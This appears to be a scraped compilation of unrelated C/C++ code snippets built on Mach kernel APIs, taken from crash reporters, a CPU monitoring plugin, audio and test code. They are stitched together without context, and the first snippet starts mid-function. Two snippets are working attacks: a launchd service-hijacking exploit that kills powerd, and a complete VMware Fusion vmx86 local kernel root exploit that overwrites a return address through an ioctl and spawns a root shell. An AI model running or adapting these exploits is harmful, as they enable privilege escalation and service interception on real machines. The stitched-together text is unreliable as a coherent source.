					cpuinfo[i], &cpuinfo_size, NULL, 0);
			if (status == -1) {
				char errbuf[1024];
				ERROR ("cpu plugin: sysctl failed: %s.",
						sstrerror (errno, errbuf, sizeof (errbuf)));
				return (-1);
			}
		}
	}
	else
#endif /* defined(KERN_CPTIME2) */
	{
		int mib[] = {CTL_KERN, KERN_CPTIME};
		long cpuinfo_tmp[CPUSTATES];

		cpuinfo_size = sizeof(cpuinfo_tmp);

		status = sysctl (mib, STATIC_ARRAY_SIZE (mib),
					&cpuinfo_tmp, &cpuinfo_size, NULL, 0);
		if (status == -1)
		{
			char errbuf[1024];
			ERROR ("cpu plugin: sysctl failed: %s.",
					sstrerror (errno, errbuf, sizeof (errbuf)));
			return (-1);
		}

		for(i = 0; i < CPUSTATES; i++) {
			cpuinfo[0][i] = cpuinfo_tmp[i];
		}
	}

	for (i = 0; i < numcpu; i++) {
		derive_t derives[CPU_SUBMIT_MAX] = {
			-1, -1, -1, -1, -1, -1, -1, -1, -1, -1
		};

		derives[CPU_SUBMIT_USER] = cpuinfo[i][CP_USER];
		derives[CPU_SUBMIT_NICE] = cpuinfo[i][CP_NICE];
		derives[CPU_SUBMIT_SYSTEM] = cpuinfo[i][CP_SYS];
		derives[CPU_SUBMIT_IDLE] = cpuinfo[i][CP_IDLE];
		derives[CPU_SUBMIT_INTERRUPT] = cpuinfo[i][CP_INTR];
		submit(i, derives);
	}
	submit_flush();
/* #endif CAN_USE_SYSCTL */
#elif defined(HAVE_SYSCTLBYNAME) && defined(HAVE_SYSCTL_KERN_CP_TIMES)
	long cpuinfo[maxcpu][CPUSTATES];
	size_t cpuinfo_size;
	int i;

	memset (cpuinfo, 0, sizeof (cpuinfo));

	cpuinfo_size = sizeof (cpuinfo);
	if (sysctlbyname("kern.cp_times", &cpuinfo, &cpuinfo_size, NULL, 0) < 0)
	{
		char errbuf[1024];
		ERROR ("cpu plugin: sysctlbyname failed: %s.",
				sstrerror (errno, errbuf, sizeof (errbuf)));
		return (-1);
	}

	for (i = 0; i < numcpu; i++) {
		derive_t derives[CPU_SUBMIT_MAX] = {
			-1, -1, -1, -1, -1, -1, -1, -1, -1, -1
		};

		derives[CPU_SUBMIT_USER] = cpuinfo[i][CP_USER];
		derives[CPU_SUBMIT_NICE] = cpuinfo[i][CP_NICE];
		derives[CPU_SUBMIT_SYSTEM] = cpuinfo[i][CP_SYS];
		derives[CPU_SUBMIT_IDLE] = cpuinfo[i][CP_IDLE];
		derives[CPU_SUBMIT_INTERRUPT] = cpuinfo[i][CP_INTR];
		submit(i, derives);
	}
	submit_flush();

/* #endif HAVE_SYSCTL_KERN_CP_TIMES */
#elif defined(HAVE_SYSCTLBYNAME)
	long cpuinfo[CPUSTATES];
	size_t cpuinfo_size;
	derive_t derives[CPU_SUBMIT_MAX] = {
		-1, -1, -1, -1, -1, -1, -1, -1, -1, -1
	};

	cpuinfo_size = sizeof (cpuinfo);

	if (sysctlbyname("kern.cp_time", &cpuinfo, &cpuinfo_size, NULL, 0) < 0)
	{
		char errbuf[1024];
		ERROR ("cpu plugin: sysctlbyname failed: %s.",
				sstrerror (errno, errbuf, sizeof (errbuf)));
		return (-1);
	}

	derives[CPU_SUBMIT_USER] = cpuinfo[CP_USER];
	derives[CPU_SUBMIT_SYSTEM] = cpuinfo[CP_SYS];
	derives[CPU_SUBMIT_NICE] = cpuinfo[CP_NICE];
	derives[CPU_SUBMIT_IDLE] = cpuinfo[CP_IDLE];
	derives[CPU_SUBMIT_INTERRUPT] = cpuinfo[CP_INTR];
	submit(0, derives);
	submit_flush();

/* #endif HAVE_SYSCTLBYNAME */

#elif defined(HAVE_LIBSTATGRAB)
	sg_cpu_stats *cs;
	derive_t derives[CPU_SUBMIT_MAX] = {
		-1, -1, -1, -1, -1, -1, -1, -1, -1, -1
	};
	cs = sg_get_cpu_stats ();

	if (cs == NULL)
	{
		ERROR ("cpu plugin: sg_get_cpu_stats failed.");
		return (-1);
	}

	derives[CPU_SUBMIT_IDLE] = (derive_t) cs->idle;
	derives[CPU_SUBMIT_NICE] = (derive_t) cs->nice;
	derives[CPU_SUBMIT_SWAP] = (derive_t) cs->swap;
	derives[CPU_SUBMIT_SYSTEM] = (derive_t) cs->kernel;
	derives[CPU_SUBMIT_USER] = (derive_t) cs->user;
	derives[CPU_SUBMIT_WAIT] = (derive_t) cs->iowait;
	submit(0, derives);
	submit_flush();
/* #endif HAVE_LIBSTATGRAB */

#elif defined(HAVE_PERFSTAT)
	perfstat_id_t id;
	int i, cpus;

	numcpu =  perfstat_cpu(NULL, NULL, sizeof(perfstat_cpu_t), 0);
	if(numcpu == -1)
	{
		char errbuf[1024];
		WARNING ("cpu plugin: perfstat_cpu: %s",
			sstrerror (errno, errbuf, sizeof (errbuf)));
		return (-1);
	}

	if (pnumcpu != numcpu || perfcpu == NULL)
	{
		if (perfcpu != NULL)
			free(perfcpu);
		perfcpu = malloc(numcpu * sizeof(perfstat_cpu_t));
	}
	pnumcpu = numcpu;

	id.name[0] = '\0';
	if ((cpus = perfstat_cpu(&id, perfcpu, sizeof(perfstat_cpu_t), numcpu)) < 0)
	{
		char errbuf[1024];
		WARNING ("cpu plugin: perfstat_cpu: %s",
			sstrerror (errno, errbuf, sizeof (errbuf)));
		return (-1);
	}

	for (i = 0; i < cpus; i++)
	{
		derive_t derives[CPU_SUBMIT_MAX] = {
			-1, -1, -1, -1, -1, -1, -1, -1, -1, -1
		};
		derives[CPU_SUBMIT_IDLE] = perfcpu[i].idle;
		derives[CPU_SUBMIT_SYSTEM] = perfcpu[i].sys;
		derives[CPU_SUBMIT_USER] = perfcpu[i].user;
		derives[CPU_SUBMIT_WAIT] = perfcpu[i].wait;
		submit(i, derives);
	}
	submit_flush();
#endif /* HAVE_PERFSTAT */

	return (0);
}
DNSServiceRegistrationReplyErrorType DNSServiceRegistrationRemoveRecord(dns_service_discovery_ref ref, DNSRecordReference reference)
{
    mach_port_t serverPort = DNSServiceDiscoveryLookupServer();
    mach_port_t clientPort;
    kern_return_t result = KERN_SUCCESS;

    if (!serverPort) {
        return kDNSServiceDiscoveryUnknownErr;
    }

    clientPort = DNSServiceDiscoveryMachPort(ref);

    if (!clientPort) {
        return kDNSServiceDiscoveryUnknownErr;
    }

    result = DNSServiceRegistrationRemoveRecord_rpc(serverPort, clientPort, (natural_t)reference);

    if (result != KERN_SUCCESS) {
        printf("The result of the registration was not successful.  Error %d, result %s\n", result, mach_error_string(result));
        return result;
    }

    return kDNSServiceDiscoveryNoError;
}
/** Our exception handler thread routine.
 * Wait for an exception message, uninstall our exception port, record the
 * exception information, and write a report.
 */
void* ksmachexc_i_handleExceptions(void* const userData)
{
    #pragma unused(userData)

    MachExceptionMessage exceptionMessage = {{0}};
    MachReplyMessage replyMessage = {{0}};

    const char* threadName = (const char*) userData;
    pthread_setname_np(threadName);
    if(threadName == kThreadSecondary)
    {
        KSLOG_DEBUG("This is the secondary thread. Suspending.");
        thread_suspend(mach_thread_self());
    }

    for(;;)
    {
        KSLOG_DEBUG("Waiting for mach exception");

        // Wait for a message.
        kern_return_t kr = mach_msg(&exceptionMessage.header,
                                    MACH_RCV_MSG,
                                    0,
                                    sizeof(exceptionMessage),
                                    g_exceptionPort,
                                    MACH_MSG_TIMEOUT_NONE,
                                    MACH_PORT_NULL);
        if(kr == KERN_SUCCESS)
        {
            break;
        }

        // Loop and try again on failure.
        KSLOG_ERROR("mach_msg: %s", mach_error_string(kr));
    }

    KSLOG_DEBUG("Trapped mach exception code 0x%x, subcode 0x%x",
                exceptionMessage.code[0], exceptionMessage.code[1]);
    if(g_installed)
    {
        KSLOG_DEBUG("Exception handler is installed. Continuing exception handling.");

        KSLOG_DEBUG("Suspending all threads");
        kscrashsentry_suspendThreads();

        // Switch to the secondary thread if necessary, or uninstall the handler
        // to avoid a death loop.
        if(mach_thread_self() == pthread_mach_thread_np(g_primaryThread))
        {
            KSLOG_DEBUG("This is the primary exception thread. Activating secondary thread.");
            if(thread_resume(pthread_mach_thread_np(g_secondaryThread)) != KERN_SUCCESS)
            {
                KSLOG_DEBUG("Could not activate secondary thread. Restoring original exception ports.");
                ksmachexc_i_restoreExceptionPorts();
            }
        }
        else
        {
            KSLOG_DEBUG("This is the secondary exception thread. Restoring original exception ports.");
            ksmachexc_i_restoreExceptionPorts();
        }

        if(g_context->handlingCrash)
        {
            KSLOG_INFO("Detected crash in the crash reporter. Restoring original handlers.");
            // The crash reporter itself crashed. Make a note of this and
            // uninstall all handlers so that we don't get stuck in a loop.
            g_context->crashedDuringCrashHandling = true;
            kscrashsentry_uninstall(KSCrashTypeAsyncSafe);
        }


        // Fill out crash information
        g_context->handlingCrash = true;

        KSLOG_DEBUG("Fetching machine state.");
        _STRUCT_MCONTEXT machineContext;
        if(ksmachexc_i_fetchMachineState(exceptionMessage.thread.name, &machineContext))
        {
            if(exceptionMessage.exception == EXC_BAD_ACCESS)
            {
                g_context->faultAddress = ksmach_faultAddress(&machineContext);
            }
            else
            {
                g_context->faultAddress = ksmach_instructionAddress(&machineContext);
            }
        }

        KSLOG_DEBUG("Filling out context.");
        g_context->crashType = KSCrashTypeMachException;
        g_context->offendingThread = exceptionMessage.thread.name;
        g_context->registersAreValid = true;
        g_context->mach.type = exceptionMessage.exception;
        g_context->mach.code = exceptionMessage.code[0];
        g_context->mach.subcode = exceptionMessage.code[1];


        KSLOG_DEBUG("Calling main crash handler.");
        g_context->onCrash();


        KSLOG_DEBUG("Crash handling complete. Restoring original handlers.");
        kscrashsentry_uninstall(KSCrashTypeAsyncSafe);
        kscrashsentry_resumeThreads();
    }

    KSLOG_DEBUG("Replying to mach exception message.");
    // Send a reply saying "I didn't handle this exception".
    replyMessage.header = exceptionMessage.header;
    replyMessage.NDR = exceptionMessage.NDR;
    replyMessage.returnCode = KERN_FAILURE;

    mach_msg(&replyMessage.header,
             MACH_SEND_MSG,
             sizeof(replyMessage),
             0,
             MACH_PORT_NULL,
             MACH_MSG_TIMEOUT_NONE,
             MACH_PORT_NULL);

    return NULL;
}
Exemple #25
0
int main(int argc, char *argv[])
{
    posix_spawnattr_t	attrs;
    uint64_t		percent, interval;
    int			i, err, ret = 0;

    kern_return_t		kr;
    mach_port_t		task = mach_task_self();
    mach_port_t		child_task;
    char                    **child_args;

    pthread_t		exception_thread;
    pthread_t		timer_thread;
    pthread_t		wait_thread;

    mach_msg_type_number_t	maskCount = 1;
    exception_mask_t	mask;
    exception_handler_t	handler;
    exception_behavior_t	behavior;
    thread_state_flavor_t   flavor;

    pid_t			child_pid;
    int			test_case_id = -1;

    if (argc > 1)
        test_case_id = atoi(argv[1]);

    /* Initialize mutex and condition variable */
    if ((err = pthread_mutex_init(&lock, NULL)) != 0) {
        fprintf(stderr,"pthread_mutex_init: %s\n", strerror(err));
        exit(1);
    }

    if ((err = pthread_cond_init(&cv, NULL)) != 0) {
        fprintf(stderr, "pthread_cond_init: %s\n", strerror(err));
        exit(1);
    }

    /* Allocate and initialize new exception port */
    if ((kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &exc_port)) != KERN_SUCCESS) {
        fprintf(stderr, "mach_port_allocate: %s\n", mach_error_string(kr));
        exit(1);
    }

    if ((kr = mach_port_insert_right(task, exc_port,
                                     exc_port, MACH_MSG_TYPE_MAKE_SEND)) != KERN_SUCCESS) {
        fprintf(stderr, "mach_port_allocate: %s\n", mach_error_string(kr));
        exit(1);
    }

    /* Get Current exception ports */
    if ((kr = task_get_exception_ports(task, EXC_MASK_RESOURCE, &mask,
                                       &maskCount, &handler, &behavior, &flavor)) != KERN_SUCCESS) {
        fprintf(stderr,"task_get_exception_ports: %s\n", mach_error_string(kr));
        exit(1);
    }

    /* Create exception serving thread */
    if ((err = pthread_create(&exception_thread, NULL, server_thread, 0)) != 0) {
        fprintf(stderr, "pthread_create server_thread: %s\n", strerror(err));
        exit(1);
    }

    fprintf(stderr, "---------------System Configuration------------------------------------------\n");
    fprintf(stderr, "System Kernel Version: ");
    system("uname -a");
    fprintf(stderr, "System SDK Version: ");
    system("sw_vers");

    for (i = 0; i < NUMTESTS; i++) {
        indiv_results[i] = -1;
    }

    /* Run Tests */
    for(i=0; i<NUMTESTS; i++) {
        int j;

        if (test_case_id != -1 && test_case_id != i)
            continue;

        fprintf(stderr, "---------------Test [%d] Configuration------------------------------------------\n", i);
        fprintf(stderr, "Test Case ID: %d\n", i);
        fprintf(stderr, "Description: %s\n", test_description[i]);

        switch(i) {
        case 0:
            child_args = test_argv_0;
            break;
        case 1:
            child_args = test_argv_1;
            break;
        case 2:
            child_args = test_argv_2;
            break;
        case 3:
            child_args = test_argv_3;
            break;
        case 4:
            child_args = test_argv_4;
            break;
        case 5:
            child_args = test_argv_5;
            break;
        case 6:
            child_args = test_argv_6;
            break;
        default:
            fprintf(stderr, "no test argv found\n");
            exit(1);
        }

        /* Test cases which do not need to run for certain platforms */
        if (child_args == NULL) {
            fprintf(stderr, "Test case unimplemented for current platform.\n");
            fprintf(stderr, "[PASSED]\n");
            fprintf(stderr, "-------------------------------------------------------------------------------\n");
            continue;
        }

        fprintf(stderr, "Helper args: ");
        for (j = 0; child_args[j] != NULL; j++) {
            fprintf(stderr, "%s ", child_args[j]);
        }
        fprintf(stderr, "\n");

        /* Print Test Case Configuration */
        fprintf(stderr, "Test Case expects EXC_RESOURCE?: %s\n", test_exception_code[i] ? "Yes":"No");
        if (test_exception_code[i])
            fprintf(stderr, "Expected EXC_RESOURCE code: 0x%llx\n", test_exception_code[i]);
        if (timeout_secs[i])
            fprintf(stderr, "Timeout for Test Program: %d secs\n", timeout_secs[i]);
        if (exc_expected_at[i])
            fprintf(stderr, "Exception Expected After: %d secs\n", exc_expected_at[i]);

        /* Initialize posix_spawn attributes */
        posix_spawnattr_init(&attrs);

        if ((err = posix_spawnattr_setflags(&attrs, POSIX_SPAWN_SETEXEC)) != 0) {
            fprintf(stderr, "posix_spawnattr_setflags: %s\n", strerror(err));
            exit(1);
        }

        /* Use high values so the system defaults take effect (spawn attrs are capped) */
        percent = 100;
        interval = 10000;

        /* Enable CPU Monitor */
        if ((err = posix_spawnattr_setcpumonitor(&attrs, percent, interval)) != 0) {
            fprintf(stderr, "posix_spawnattr_setcpumonitor: %s\n", strerror(err));
            exit(1);
        }


        exception_code = 0;
        time_for_exc = -1;

        /* Set Exception Ports for Current Task */
        if ((kr = task_set_exception_ports(task, EXC_MASK_RESOURCE, exc_port,
                                           EXCEPTION_DEFAULT | MACH_EXCEPTION_CODES, flavor)) != KERN_SUCCESS) {
            fprintf(stderr, "task_set_exception_ports: %#x\n", kr);
            exit(1);
        }

        /*
         * Note the time at start of test.
         */
        start_time = time(NULL);

        fprintf(stderr, "---------------Test [%d] Runtime------------------------------------------------\n", i);

        /* Fork and exec child */
        if ((child_pid = fork()) == 0) {
            if ((err = posix_spawn(NULL, child_args[0], NULL, &attrs, &child_args[0], environ)) != 0) {
                fprintf(stderr, "posix_spawn: %s\n", strerror(err));
                exit(1);
            }
        }

        /* Restore exception ports for parent */
        if ((kr = task_set_exception_ports(task, EXC_MASK_RESOURCE, handler,
                                           EXCEPTION_DEFAULT | MACH_EXCEPTION_CODES, flavor)) != KERN_SUCCESS) {
            fprintf(stderr, "task_set_exception_ports: %#x\n", kr);
            exit(1);
        }

        /* Create Timer Thread if timeout specified */
        if (timeout_secs[i]) {
            if ((err = pthread_create(&timer_thread, NULL, timeout_thread, (void *)timeout_secs[i])) != 0) {
                fprintf(stderr, "pthread_create timeout_thread: %s\n", strerror(err));
                test_status = 1;
                goto cleanup;
            }
        }

        /* Create waiting for child thread */
        if ((err = pthread_create(&wait_thread, NULL, wait4_child_thread, NULL)) != 0) {
            fprintf(stderr, "pthread_create wait4_child_thread: %s\n", strerror(err));
            test_status = 1;
            goto cleanup;
        }

        pthread_mutex_lock(&lock);
        pthread_cond_wait(&cv, &lock);
        pthread_mutex_unlock(&lock);

        kill(child_pid, SIGKILL);
        pthread_join(timer_thread, NULL);
        pthread_join(wait_thread, NULL);

        int test_case_status = 0;
        indiv_results[i] = 0;

        fprintf(stderr, "---------------Test [%d] Results------------------------------------------------\n", i);

        if (exception_code)
            fprintf(stderr, "EXC_RESOURCE Received with Code: 0x%llx\n", exception_code);
        else
            fprintf(stderr, "No EXC_RESOURCE Received!\n");

        if (time_for_exc > 0)
            fprintf(stderr, "EXC_RESOURCE Received after %d secs\n", time_for_exc);

        if (!!exception_code != !!test_exception_code[i]) {
            test_status = 1;
            test_case_status = 1;
            indiv_results[i] = 1;
        }

        if (exception_code) {
            /* Validate test success by checking code and expected time */
            if ((exception_code & test_exception_code[i]) != test_exception_code[i]) {
                fprintf(stderr, "Test Failure Reason: EXC_RESOURCE code did not match expected exception code!\n");
                fprintf(stderr, "Expected: 0x%llx Found: 0x%llx\n", test_exception_code[i], exception_code);
                test_status = 1;
                test_case_status = 1;
                indiv_results[i] = 1;
            }
            if(exc_expected_at[i] &&
                    (time_for_exc < (exc_expected_at[i] - 10) ||
                     time_for_exc > (exc_expected_at[i] + 10))) {
                fprintf(stderr, "Test Failure Reason: Test case did not receive EXC_RESOURCE within expected time!\n");
                test_status = 1;
                test_case_status = 1;
                indiv_results[i] = 1;
            }
        }

        if(test_case_status)
            fprintf(stderr, "[FAILED]\n");
        else
            fprintf(stderr, "[PASSED]\n");
        fprintf(stderr, "-------------------------------------------------------------------------------\n");

    }

    if (test_case_id == -1) {
        fprintf(stderr, "--------------- Results Summary -----------------------------------------------\n");

        for (i = 0; i < NUMTESTS; i++) {
            fprintf(stderr, "%2d: %s\n", i, (indiv_results[i] < 0) ? "N/A" :
                    (indiv_results[i] == 0) ? "PASSED" : "FAILED");
        }
    }

cleanup:
    kill(child_pid, SIGKILL);
    exit(test_status);
}
bool kscrashsentry_installMachHandler(KSCrash_SentryContext* const context)
{
    KSLOG_DEBUG("Installing mach exception handler.");

    bool attributes_created = false;
    pthread_attr_t attr;

    kern_return_t kr;
    int error;

    const task_t thisTask = mach_task_self();
    exception_mask_t mask = EXC_MASK_BAD_ACCESS |
    EXC_MASK_BAD_INSTRUCTION |
    EXC_MASK_ARITHMETIC |
    EXC_MASK_SOFTWARE |
    EXC_MASK_BREAKPOINT;

    if(g_installed)
    {
        KSLOG_DEBUG("Exception handler already installed.");
        return true;
    }
    g_installed = 1;

    if(ksmach_isBeingTraced())
    {
        // Different debuggers hook into different exception types.
        // For example, GDB uses EXC_BAD_ACCESS for single stepping,
        // and LLDB uses EXC_SOFTWARE to stop a debug session.
        // Because of this, it's safer to not hook into the mach exception
        // system at all while being debugged.
        KSLOG_WARN("Process is being debugged. Not installing handler.");
        goto failed;
    }

    g_context = context;

    KSLOG_DEBUG("Backing up original exception ports.");
    kr = task_get_exception_ports(thisTask,
                                  mask,
                                  g_previousExceptionPorts.masks,
                                  &g_previousExceptionPorts.count,
                                  g_previousExceptionPorts.ports,
                                  g_previousExceptionPorts.behaviors,
                                  g_previousExceptionPorts.flavors);
    if(kr != KERN_SUCCESS)
    {
        KSLOG_ERROR("task_get_exception_ports: %s", mach_error_string(kr));
        goto failed;
    }

    if(g_exceptionPort == MACH_PORT_NULL)
    {
        KSLOG_DEBUG("Allocating new port with receive rights.");
        kr = mach_port_allocate(thisTask,
                                MACH_PORT_RIGHT_RECEIVE,
                                &g_exceptionPort);
        if(kr != KERN_SUCCESS)
        {
            KSLOG_ERROR("mach_port_allocate: %s", mach_error_string(kr));
            goto failed;
        }

        KSLOG_DEBUG("Adding send rights to port.");
        kr = mach_port_insert_right(thisTask,
                                    g_exceptionPort,
                                    g_exceptionPort,
                                    MACH_MSG_TYPE_MAKE_SEND);
        if(kr != KERN_SUCCESS)
        {
            KSLOG_ERROR("mach_port_insert_right: %s", mach_error_string(kr));
            goto failed;
        }
    }

    KSLOG_DEBUG("Installing port as exception handler.");
    kr = task_set_exception_ports(thisTask,
                                  mask,
                                  g_exceptionPort,
                                  EXCEPTION_DEFAULT,
                                  THREAD_STATE_NONE);
    if(kr != KERN_SUCCESS)
    {
        KSLOG_ERROR("task_set_exception_ports: %s", mach_error_string(kr));
        goto failed;
    }

    KSLOG_DEBUG("Creating secondary exception thread (suspended).");
    pthread_attr_init(&attr);
    attributes_created = true;
    pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
    error = pthread_create(&g_secondaryThread,
                           &attr,
                           &ksmachexc_i_handleExceptions,
                           kThreadSecondary);
    if(error != 0)
    {
        KSLOG_ERROR("pthread_create_suspended_np: %s", strerror(error));
        goto failed;
    }
    context->reservedThreads[KSCrashReservedThreadTypeMachSecondary] = pthread_mach_thread_np(g_secondaryThread);

    KSLOG_DEBUG("Creating primary exception thread.");
    error = pthread_create(&g_primaryThread,
                           &attr,
                           &ksmachexc_i_handleExceptions,
                           kThreadPrimary);
    if(error != 0)
    {
        KSLOG_ERROR("pthread_create: %s", strerror(error));
        goto failed;
    }
    pthread_attr_destroy(&attr);
    context->reservedThreads[KSCrashReservedThreadTypeMachPrimary] = pthread_mach_thread_np(g_primaryThread);

    KSLOG_DEBUG("Mach exception handler installed.");
    return true;


failed:
    KSLOG_DEBUG("Failed to install mach exception handler.");
    if(attributes_created)
    {
        pthread_attr_destroy(&attr);
    }
    kscrashsentry_uninstallMachHandler();
    return false;
}
Exemple #27
0
static void run_server(mach_port_t portset, mach_port_t notification_port) {
    struct DummyMsg_t DumMsg, DumMsgReply;
    int isFinished = 0;
    while (! isFinished) {
        bzero(&DumMsg, sizeof DumMsg);
        bzero(&DumMsgReply, sizeof DumMsgReply);
        DumMsg.head.msgh_size = sizeof DumMsg;
        DumMsg.head.msgh_local_port = portset;
        mach_msg_return_t msgcode = mach_msg(&DumMsg.head, MACH_RCV_MSG, 0, sizeof DumMsg, portset, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
        if (msgcode != MACH_MSG_SUCCESS) {
            if (ERR_FILE) fprintf(ERR_FILE, "error %s in Receive, message will be ignored.\n", mach_error_string((kern_return_t)msgcode));
        }
        else {
            /* Try handling it from the server */
            boolean_t handled = handle_server_message(&DumMsg, &DumMsgReply);
            if (! handled) {
                /* Could be a No Senders notification */
                if (DumMsg.head.msgh_id == MACH_NOTIFY_NO_SENDERS) {
                    /* Our parent process died, or closed our port, so we should go away */
                    if (ERR_FILE) fprintf(ERR_FILE, "Parent appears to have closed its port, so we're exiting.\n");
                    isFinished = 1;
                }
                else {
                    if (ERR_FILE) fprintf(ERR_FILE, "Unknown Mach message id %ld\n", (long)DumMsg.head.msgh_id);
                }
            }
        }
        if (ERR_FILE) fflush(ERR_FILE);
    }
}
// Server side : destroy the JackGlobals
void JackMachSemaphore::Destroy()
{
    kern_return_t res;

    if (fSemaphore > 0) {
        jack_log("JackMachSemaphore::Destroy name = %s", fName);
        if ((res = semaphore_destroy(mach_task_self(), fSemaphore)) != KERN_SUCCESS) {
            jack_error("JackMachSemaphore::Destroy can't destroy semaphore err = %s", mach_error_string(res));
        }
        fSemaphore = 0;
    } else {
        jack_error("JackMachSemaphore::Destroy semaphore < 0");
    }
}
void launchd_exploit(char* app_group) {
  char* target_service_name = default_target_service_name;
  
  // allocate the receive rights which we will try to replace the service with:
  // (we'll also use them to loop the mach port name in the target)
  size_t n_ports = 0x1000;
  mach_port_t* ports = calloc(sizeof(void*), n_ports);
  for (int i = 0; i < n_ports; i++) {
    kern_return_t err;
    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports[i]);
    if (err != KERN_SUCCESS) {
      printf("failed to allocate port: %s\n", mach_error_string(err));
      exit(EXIT_FAILURE);
    }
    err = mach_port_insert_right(mach_task_self(),
                                 ports[i],
                                 ports[i],
                                 MACH_MSG_TYPE_MAKE_SEND);
    if (err != KERN_SUCCESS) {
      printf("failed to insert send right: %s\n", mach_error_string(err));
      exit(EXIT_FAILURE);
    }
  }
  
  // generate some service names we can use:
  char** names = calloc(sizeof(char*), n_ports);
  for (int i = 0; i < n_ports; i++) {
    char name[strlen(app_group)+64];
    sprintf(name, "%s.%d", app_group, i);
    names[i] = strdup(name);
  }
  
  // lookup a send right to the target to be replaced
  mach_port_t target_service = lookup(target_service_name);
  
  // free the target in launchd
  do_free(bootstrap_port, target_service);
  
  // send one smaller looper message to push the free'd name down the free list:
  send_looper(bootstrap_port, ports, 0x100, MACH_MSG_TYPE_MAKE_SEND);
  
  // send the larger ones to loop the generation number whilst leaving the name in the middle of the long freelist
  for (int i = 0; i < 62; i++) {
    send_looper(bootstrap_port, ports, 0x200, MACH_MSG_TYPE_MAKE_SEND);
  }
  
  // now that the name should have looped round (and still be near the middle of the freelist
  // try to replace it by registering a lot of new services
  for (int i = 0; i < n_ports; i++) {
    kern_return_t err = bootstrap_register(bootstrap_port, names[i], ports[i]);
    if (err != KERN_SUCCESS) {
      printf("failed to register service %d, continuing anyway...\n", i);
    }
  }
  
  // add all those receive rights to a port set:
  mach_port_t ps;
  mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_PORT_SET, &ps);
  for (int i = 0; i < n_ports; i++) {
    mach_port_move_member(mach_task_self(), ports[i], ps);
  }
  
  start_mitm_thread(target_service, ps);
  
  kill_powerd();
  
  return;
}
Exemple #30
0
int
main (int argc, char **argv)
{
  kmod_info_t *kmod_list, *k;
  mach_port_t host_port;
  kern_return_t mach_r;
  struct ioctl_req req;
  unsigned int count;
  int shell_addr;
  int fd, id, i, r;

  printf ("VMware Fusion <= 2.0.5 vmx86 kext local kernel root exploit\n"
          "by: <*****@*****.**>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2009!@$!\n\n");

  host_port = mach_host_self ();
  mach_r = kmod_get_info (host_port, (void *) &kmod_list, &count);
  if (mach_r != KERN_SUCCESS)
    {
      fprintf (stderr, "* couldn't get list of loaded kexts from kernel - %s\n",
               mach_error_string (mach_r));
      exit (EXIT_FAILURE);
    }

  for (k = kmod_list; k; k = (k->next) ? (k + 1) : NULL)
    if (strcmp (k->name, "com.vmware.kext.vmx86") == 0)
      break;

  if (k == NULL)
    {
      fprintf (stderr, "%s: vmx86 kext not loaded?\n", argv[0]);
      exit (EXIT_FAILURE);
    }

  for (i = 0; targets_t[i].name; i++)
    if (strcmp (targets_t[i].name, k->version) == 0)
      {
        shell_addr = targets_t[i].shell_addr;
        break;
      }

  if (targets_t[i].name == NULL)
    {
      fprintf (stderr, "%s: unsupported vmx86 version found :( [%s]\n",
               argv[0], k->version);
      exit (EXIT_FAILURE);
    }

  printf ("* kmod: %s, version: %s, addr: 0x%08X -> 0x%08X\n",
          strrchr (k->name, '.') + 1, k->version, (int) k->address, (int) (k->address + k->size));
  printf ("* ret addr: 0x%08X + 0x%08X = @0x%08X\n",
          (int) k->address, shell_addr + 0x1000, (int) k->address + shell_addr + 0x1000);

  fd = open ("/dev/vmmon", O_RDONLY);
  if (fd < 0)
    {
      fprintf (stderr, "%s: open failed\n", argv[0]);
      exit (EXIT_FAILURE);
    }

  memset (&req, 0xCC, sizeof req);
  memcpy (&req.pad, zleopard, sizeof zleopard - 1);
  *(unsigned int *) &req.pad[0x21] = k->address + shell_addr + 0x1000;

  printf ("* hitting...");
  fflush (stdout);
  sleep (2);

  r = ioctl (fd, VMX86_INIT_IOCTL, &req);
  printf ("done\n\n");
  close (fd);

  id = getuid ();
  printf ("* getuid(): %d\n", id);
  if (id == 0)
    {
      char *args[] = { "/bin/bash", NULL };
      printf ("+Wh00t\n\n");

      execve (args[0], args, NULL);
    }
  else
    fprintf (stderr, "%s: failed to obtain root :(\n", argv[0]);

  return (EXIT_SUCCESS);
}